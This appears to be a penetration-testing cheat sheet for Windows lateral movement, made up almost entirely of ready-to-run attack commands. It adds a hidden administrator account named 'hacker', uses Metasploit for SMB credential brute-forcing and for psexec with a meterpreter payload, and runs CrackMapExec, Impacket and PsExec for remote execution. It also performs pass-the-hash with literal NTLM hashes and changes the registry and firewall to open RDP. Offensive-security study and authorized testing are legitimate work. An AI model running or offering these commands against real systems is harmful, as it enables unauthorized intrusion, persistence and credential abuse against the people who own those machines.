net user hacker hacker1234* /add
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files

WDAGUtilityAccount - @never_released on Twitter

\\windowssandbox
Username: wdagutilityaccount
Password: pw123

Metasploit

Metasploit - SMB

use auxiliary/scanner/smb/smb_login  
set SMBDomain DOMAIN  
set SMBUser username
set SMBPass password
services -p 445 -R  
run
creds

Metasploit - Psexec

Note: the password can be replaced by a hash to execute a pass the hash attack.

use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser username
set SMBPass password
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

Crackmapexec

git clone https://github.com/byt3bl33d3r/CrackMapExec.github
python crackmapexec.py 10.9.122.0/25 -d DOMAIN -u username -p password
python crackmapexec.py 10.10.10.10 -d DOMAIN -u username -p password -x whoami
# pass the hash
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth

Winexe

Integrated to Kali

winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe

WMI

wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”

Psexec.py / Smbexec.py / Wmiexec.py

from Impacket

git clone https://github.com/CoreSecurity/impacket.git
python psexec.py DOMAIN/username:password@10.10.10.10
python smbexec.py DOMAIN/username:password@10.10.10.10
python wmiexec.py DOMAIN/username:password@10.10.10.10

# psexec.exe -s cmd
# switch admin user to NT Authority/System

PsExec - Sysinternal

from Windows - Sysinternal

PsExec.exe  \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
PsExec.exe  \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s  # get System shell

RDP Remote Desktop Protocol

Abuse RDP protocol to execute commands remotely with SharpRDP

SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password

Or connect remotely with rdesktop

rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
# -g : the screen will take up 70% of your actual screen size
# -r disk:share : sharing a local folder during a remote desktop session 

Note: you may need to enable it with the following command

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

or with psexec(sysinternals)

psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0

or with crackmapexec

crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable

or with Metasploit

run getgui -u admin -p 1234

or with xfreerdp

xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+
xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129 # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
xfreerd /u:runner /v:10.0.0.1 # password will be asked

Netuse

Windows only

net use \\ordws01.cscou.lab /user:DOMAIN\username password
C$

Runas

runas /netonly /user:DOMAIN\username "cmd.exe"
runas /noprofil /netonly /user:DOMAIN\username cmd.exe
